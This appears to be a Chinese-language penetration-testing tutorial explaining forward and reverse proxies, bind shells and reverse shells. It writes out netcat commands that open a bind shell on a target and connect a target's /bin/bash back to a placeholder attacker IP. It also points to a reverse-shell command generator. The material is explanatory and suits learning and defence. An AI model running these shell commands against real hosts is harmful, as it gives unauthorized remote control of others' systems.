反弹SHELL

正反向代理

正向代理

定义

正向代理是一种代理服务器,位于客户端和目标服务器之间,代理客户端向目标服务器发送请求。客户端通过正向代理访问无法直接访问的资源。代理的对象是客户端,帮助内网用户访问外部网络(如 VPN)。

工作流程

  • 客户端 -> 正向代理服务器 -> 目标服务器。
  • 客户端明确知道自己正在通过代理访问。

用途

  • 突破网络限制:访问被防火墙或地理位置限制的资源(例如翻墙)。
  • 匿名访问:隐藏客户端的真实 IP 地址。
  • 缓存加速:通过缓存常用资源减少重复请求。

典型应用场景

  • 企业内部通过正向代理访问互联网。
  • 使用 VPN 或 Shadowsocks 等工具突破地理限制。

反向代理

定义

反向代理是一种代理服务器,位于目标服务器和客户端之间,代理目标服务器向客户端返回资源。客户端的请求通过反向代理访问服务器。代理的对象是服务器,帮助外网用户访问内网服务。

工作流程

  • 客户端 -> 反向代理服务器 -> 后端服务器。
  • 客户端通常不知道自己访问的是反向代理。

用途

  • 负载均衡:分发请求到多台后端服务器,减轻单一服务器的压力。
  • 隐藏服务器信息:保护后端服务器的 IP 和架构信息。
  • 缓存与加速:为静态资源提供缓存,减少后端压力。
  • SSL 卸载:反向代理负责处理 HTTPS 请求,减轻后端服务器的计算负担。

典型应用场景

  • 使用 Nginx 或 Apache 作为反向代理,处理多个后端服务器的请求。
  • CDN(内容分发网络)服务,代理请求到最近的缓存服务器或源站。
  • Web 应用防火墙(WAF)通过反向代理部署。

正反向连接

正向连接

客户端主动发起连接到服务器或目标系统。正向连接通常用于客户端-服务器通信,客户端主动请求服务或资源,例如网页浏览、电子邮件发送和接收等。在正向连接中,客户端充当主动方,向服务器发起连接请求,然后服务器接受并处理请求。

正向shell

定义

正向 Shell 是目标主机主动开放一个端口,监听外部的连接请求(通常由攻击者发起)。攻击者通过连接该端口获得目标系统的命令行访问权限。

工作原理

  1. 目标主机开启一个监听服务,等待连接请求。
  2. 攻击者主动连接到目标主机的开放端口。
  3. 连接建立后,攻击者可以通过该 Shell 发送命令并与目标主机交互。

特点

  • 主动监听:目标主机需要开放一个端口,等待外部连接。
  • 常见于漏洞利用后:例如在获得目标系统访问权限后,用来建立长期连接。
  • 依赖网络开放性:如果目标主机被防火墙或 NAT 保护,正向 Shell 的端口可能无法被外部访问。

示例

在目标主机上执行:

nc -lvp 8888 -e /bin/bash
  • -l: 表示监听模式。
  • -v: 开启详细输出。
  • -p: 指定监听的端口(如 8888)。
  • -e: 指定要执行的程序(这里是 /bin/bash)。

攻击者在自己的机器上执行:

nc 目标IP 8888

反向连接

目标系统(通常是受害者)主动建立与控制系统或服务器的连接。反向连接通常用于合法的远程管理和控制,例如远程桌面会话、SSH远程管理等。在反向连接中,目标系统充当客户端,主动连接到远程服务器或控制服务器,以接受命令并将结果返回。

反弹shell

定义

反弹 Shell 是目标主机主动向攻击者的主机发起连接,将其 Shell 权限回传给攻击者。通常用于目标主机位于防火墙或 NAT 后,无法直接被外部访问时。

工作原理

  1. 攻击者在自己的机器上开启一个监听端口。
  2. 目标主机通过一个有效载荷(Payload)主动连接到攻击者的监听端口。
  3. 连接建立后,目标主机的命令行权限被转交给攻击者。

特点

  • 绕过防火墙和 NAT:目标主机通过反向连接绕过自身的网络限制。
  • 攻击者被动监听:攻击者只需要等待目标主机发起连接。
  • 更常见于实际渗透:尤其是目标系统网络环境受限时。

示例

攻击者在本地机器上执行:

nc -lvp 8888

目标主机上执行:

nc 攻击者IP 8888 -e /bin/bash

反弹Shell命令一键生成:[~]#棱角 ::Edge.Forum*